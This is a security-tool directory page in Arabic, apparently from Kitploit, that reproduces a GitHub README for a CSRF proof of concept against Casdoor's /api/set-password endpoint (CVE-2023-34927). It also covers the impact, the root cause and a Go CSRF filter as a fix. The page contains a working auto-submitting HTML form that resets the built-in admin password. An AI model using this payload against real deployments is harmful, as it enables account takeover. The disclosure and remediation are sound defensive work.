Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
csrf_casdoor — استغلال إثبات مفهوم (PoC) لثغرة CSRF في نقطة النهاية `/api/set-password` الخاصة بـ Casdoor (CVE-2023-34927)، مما يتيح تغيير كلمات المرور بشكل غير مصرح به عبر طلبات POST عابرة للمواقع (Cross-Site). يتضمن إصلاحًا لمرشح CSRF مبنيًا على Go. | Kitploit
أدوات/GitHubGitHub/vanlam2001/csrf_casdoor
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالمصادقة
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

استغلال إثبات مفهوم (PoC) لثغرة CSRF في نقطة النهاية `/api/set-password` الخاصة بـ Casdoor (CVE-2023-34927)، مما يتيح تغيير كلمات المرور بشكل غير مصرح به عبر طلبات POST عابرة للمواقع (Cross-Site). يتضمن إصلاحًا لمرشح CSRF مبنيًا على Go.

عرض المستودع
12منذ 8 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Casdoor – تزوير الطلب عبر المواقع (CSRF)

الملخص

  • الثغرة: CSRF في /api/set-password تسمح بتغيير كلمة المرور دون موافقة.
  • الإصدارات المتأثرة: جميع إصدارات البرنامج متأثرة. لا يتوفر إصدار مُصحّح حالياً.
  • CVE: CVE-2023-34927 (لم يتم تعيين الأحدث بعد).
  • مؤلف الاستغلال: Van Lam Nguyen.
  • تم الاختبار على: Windows

التأثير

  • إذا كان الضحية مسجلاً الدخول إلى Casdoor، يمكن لطلب POST عبر المواقع تغيير كلمة مرور الضحية (مثل built-in/admin)، مما يؤدي إلى الاستيلاء على الحساب.

المتطلبات المسبقة للهجوم

  • الضحية مُصادَق عليه ويمتلك ملف تعريف ارتباط صالح casdoor_session_id.
  • يزور الضحية صفحة خبيثة تُرسل تلقائياً طلب POST إلى /api/set-password.

إثبات المفهوم

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

السبب الجذري

  • نقاط النهاية التي تغيّر الحالة تحت /api/* تقبل الطلبات المُصادَق عليها بملف تعريف الارتباط دون فرض فحوصات الأصل نفسه (Origin/Referer) أو رموز CSRF.

نظرة عامة على الإصلاح

  • إضافة مرشّح CSRF من جانب الخادم لرفض طلبات POST/PUT/DELETE/PATCH عبر المواقع القائمة على ملف تعريف الارتباط تحت /api/*.
  • السماح بالطلبات التي تحمل مصادقة صريحة غير قائمة على ملف تعريف الارتباط (مثل Authorization، أو Basic auth، أو بيانات اعتماد العميل، أو accessToken) أو الطلبات التي لا تحتوي على ملفات تعريف ارتباط جلسة المتصفح (استدعاءات خادم إلى خادم النموذجية).

التنفيذ

  • استخدم routers.CSRFFilter المُنفَّذ في csrf_filter.go. هذا المرشّح:
    • يعود مبكراً للطرق التي لا تغيّر الحالة.
    • يسمح بالطلبات ذات المصادقة الصريحة غير القائمة على ملف تعريف الارتباط.
    • يحظر الطلبات عبر المواقع عند وجود ملف تعريف ارتباط جلسة وعدم تطابق الأصل مع المضيف.

كيفية الدمج في Casdoor

  1. انسخ csrf_filter.go إلى حزمة routers الموجودة في مشروع Casdoor. لا تعدّل أو تحذف أي شيء في هذا الملف.
  2. سجّل المرشّح مبكراً في خط أنابيب HTTP (داخل main):
    // Beego v1 style
    web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    
    // If your project uses Beego v2 and imports as `web`:
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

التحقق

  • بعد تسجيل المرشّح، أعد تشغيل PoC أعلاه أثناء تسجيل الدخول. يجب رفض الطلب مع Unauthorized operation ويجب أن يسجّل الخادم CSRF check failed.
  • يجب أن تستمر استدعاءات API عبر الأصل التي تتضمن ترويسات Authorization أو معاملات accessToken في العمل.

ملفات المستودع

  • csrf_filter.go: مرشّح CSRF لنسخه إلى حزمة routers في Casdoor.
  • poc.html: صفحة مصغّرة تعيد إنتاج هجوم CSRF.
  • README.md: هذا المستند الذي يصف الثغرة وخطوات الإصلاح.

المراجع

  • Casdoor: https://casdoor.org/
  • Version: https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

فيديو

  • Youtube: https://youtu.be/N5VENgiObjY
تنزيل الأداة